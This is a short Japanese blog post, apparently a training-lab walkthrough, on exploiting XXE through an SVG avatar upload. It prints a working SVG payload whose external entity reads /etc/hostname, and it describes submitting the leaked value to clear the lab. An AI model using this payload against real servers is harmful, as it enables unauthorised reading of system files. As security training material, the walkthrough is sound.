Shikata Ga Nai

Private? There is no such things.

Exploiting XXE via image file uploadをやってみた

Hello there, ('ω')ノ

 

画像ファイルのアップロードによるXXEの悪用を。

一部のアプリケーションでは、ユーザがファイルをアップロードして。

サーバサイドで処理することができて。

一部のファイル形式は、XMLを使用するか、XMLサブコンポーネントを含んで。

XMLベースの例だと、DOCX等のドキュメント形式やSVG等の画像形式があって。

 

アップロード領域で受け入れられるのは画像ファイルのみなので。

はじめに下記のコードで、code.svgを作成しておいて。

 

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

 

f:id:ThisIsOne:20210306143138p:plain

 

ブログ投稿にコメントを投稿して。

code.svgをアバターとしてアップロードして。

 

f:id:ThisIsOne:20210306143331p:plain

 

画像に当たる箇所をクリックすると。

 

f:id:ThisIsOne:20210306143648p:plain

 

画像に/etc/hostnameファイルの内容が表示されて。

 

f:id:ThisIsOne:20210306143730p:plain

 

下記のコードを入力すると。

 ca3e13c76d61

 

f:id:ThisIsOne:20210306143853p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210306143916p:plain


Best regards, (^^ゞ